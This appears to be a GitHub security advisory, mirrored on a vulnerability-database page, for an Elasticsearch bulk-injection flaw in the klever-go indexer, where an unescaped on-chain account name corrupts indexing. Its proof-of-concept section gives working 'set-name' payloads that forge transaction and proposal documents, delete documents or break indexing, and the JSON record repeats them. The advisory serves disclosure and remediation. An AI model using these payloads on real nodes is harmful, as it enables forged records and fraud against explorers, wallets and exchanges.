GHSA-7C7C-373R-GFJJ
Vulnerability from github – Published: 2026-09-23 21:24 – Updated: 2026-09-23 21:24Component: Elasticsearch indexer (indexer/)
Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)
Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688
Description
When the node indexes account updates to Elasticsearch, it builds the ES _bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:
// indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)
serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+
`ctx._source.name = params.name; ... `+
`","lang": "painless","params":`+
`{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`,
acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW
acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:
// core/kapp/accounts/accounts.go:1740
if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100
The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for _id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.
The resulting buffer is POSTed verbatim to Elasticsearch _bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The _bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can
- inject arbitrary keys/structure into the document,
- break the batch, and
- inject entirely new bulk operations targeting other documents and other indices.
SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)
The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:
- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.
- Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim.
- The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode,
cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.
Escalation — from denial-of-indexing to arbitrary ES document CRUD
Elasticsearch _bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"_index":"...", "_id":"..."}}.
Deployment amplifier (default ES config)
The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS * with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.
POC
The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'
This submits contract type 12 (SetAccountNameContract) with:
Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}
(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e.
base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)
{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}} ← forged bulk action
{"status":"success"} ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail
Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:
GET transactions/_doc/t
{ "found": true, "_source": { "status": "success" } }
Escalation variants — same delivery, only the Name changes
Each is a single SetAccountName tx sent the same way; only the payload differs.
Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'
Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'
Delete a document (e.g. proposal id 5; 61 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'
Impact
A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch _bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:
-
Denial-of-indexing A name containing a single
"or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block. -
Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (
transactions,blocks,accounts,proposals,assets,marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forgedstatus:successtransaction).
Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.
Recommendation
-
Escape the name . Never splice on-chain strings into JSON with
fmt.Sprintf. Either apply the existingconverters.JsonEscape()toacc.Name(mirror the_idhandling), or preferably build the entire bulk source withjson.Marshalof a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit everyfmt.Sprintf-built bulk/script line inindexer/common.gofor the same pattern (RootHash and other%sfields on this and nearby paths). -
Restrict the on-chain account-name charset at
SetAccountName(accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-82409"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T21:24:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Component:** Elasticsearch indexer (`indexer/`)\n**Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`)\n**Entry point:** `SetAccountName` native transaction (contract type 12) \u2014 `core/process/transaction/txProcess.go:688`\n\n---\n\n## Description\n\nWhen the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account\u0027s **name** directly into JSON with `fmt.Sprintf(\"%s\", ...)` and **no escaping**:\n\n```go\n// indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)\nserializedData := []byte(fmt.Sprintf(`{\"script\":{\"source\":\"`+\n `ctx._source.name = params.name; ... `+\n `\",\"lang\": \"painless\",\"params\":`+\n `{\"name\": \"%s\", \"nonce\": %d, \"rootHash\": \"%s\", \"balance\": %d, ...}}}`,\n acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW\n```\n\n`acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler:\n\n```go\n// core/kapp/accounts/accounts.go:1740\nif !utf8.Valid(tc.GetName()) || len(tc.GetName()) \u003e core.MaxNameSize { ... } // MaxNameSize = 100\n```\n\nThe only constraints are **valid UTF-8** and **length \u2264 100 bytes**. Double-quote (`\"`), backslash (`\\`), and newline (`\\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name.\n\nThe resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON \u2014 newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\\n` after every entry). Therefore a name containing a quote and newlines can \n\n- inject arbitrary keys/structure into the document, \n- break the batch, and \n- inject entirely new bulk operations targeting **other** documents and **other** indices.\n\n`SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.)\n\nThe name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node\u0027s own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently:\n\n- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.\n- Indexers typically run on **observer/gateway** nodes that power the public explorer/API \u2014 exactly the realistic victim.\n- The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection.\n\n### Escalation \u2014 from denial-of-indexing to arbitrary ES document CRUD\n\nElasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line \u2192 whole-batch HTTP 400 (nothing applies); malformed **source** line \u2192 **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer\u0027s fixed template tail (`\", \"nonce\":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer\u0027s ES credentials can write \u2014 cross-index via `{\"index\":{\"_index\":\"...\", \"_id\":\"...\"}}`.\n\n### Deployment amplifier (default ES config)\n\nThe Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node\u0027s default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node\u0027s own trusted connection.\n\n---\n\n## POC\n\nThe entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. \n\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n $\u0027\"}}}\\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\\n{\"status\":\"success\"}\\n{\"index\":{}}\u0027\n```\n\nThis submits contract type 12 (`SetAccountNameContract`) with:\n\n```\nName = \"}}}\u23ce{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\u23ce{\"status\":\"success\"}\u23ce{\"index\":{}}\n```\n(84 bytes \u2264 MaxNameSize 100; `\u23ce` = literal `\\n`. On-chain `Name` is `[]byte`, i.e.\nbase64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.)\n\n\n```\n{ \"update\": { \"_index\":\"accounts\", \"_id\":\"\u003cattacker\u003e\" } }\n{\"script\":{ ... ,\"params\":{\"name\": \"\"}}}\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}} \u2190 forged bulk action\n{\"status\":\"success\"} \u2190 forged doc \u2192 written to `transactions`\n{\"index\":{}}\", \"nonce\":1, ... }}} \u2190 sacrificial op absorbs the template tail\n```\n\n**Observed result:** a forged document `{\"status\":\"success\"}` with `_id:\"t\"` appears in the `transactions` index \u2014 the attacker never submitted any such transaction:\n\n```\nGET transactions/_doc/t\n\n{ \"found\": true, \"_source\": { \"status\": \"success\" } }\n```\n\n### Escalation variants \u2014 same delivery, only the `Name` changes\n\nEach is a single `SetAccountName` tx sent the same way; only the payload differs.\n\n**Denial-of-indexing** (2-byte name \u2014 breaks the batch, drops every co-batched account update):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \u0027x\"\u0027\n```\n\n**Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n $\u0027\"}}}\\n{\"index\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"status\":\"approved\"}\\n{\"index\":{}}\u0027\n```\n\n**Delete a document** (e.g. proposal id 5; 61 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n $\u0027\"}}}\\n{\"delete\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"index\":{}}\u0027\n```\n\n\n\n---\n\n## Impact\n\nA single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact:\n\n1. **Denial-of-indexing** A name containing a single `\"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account\u0027s balance/name/nonce update is silently **dropped** \u2192 the explorer/API serves **stale** data. Repeatable every block.\n\n2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge \"successful\" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction).\n\n**Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.\n\n\n---\n\n## Recommendation\n\n1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths).\n\n2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.",
"id": "GHSA-7c7c-373r-gfjj",
"modified": "2026-09-23T21:24:06Z",
"published": "2026-09-23T21:24:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -\u003e explorer/indexer data forgery"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.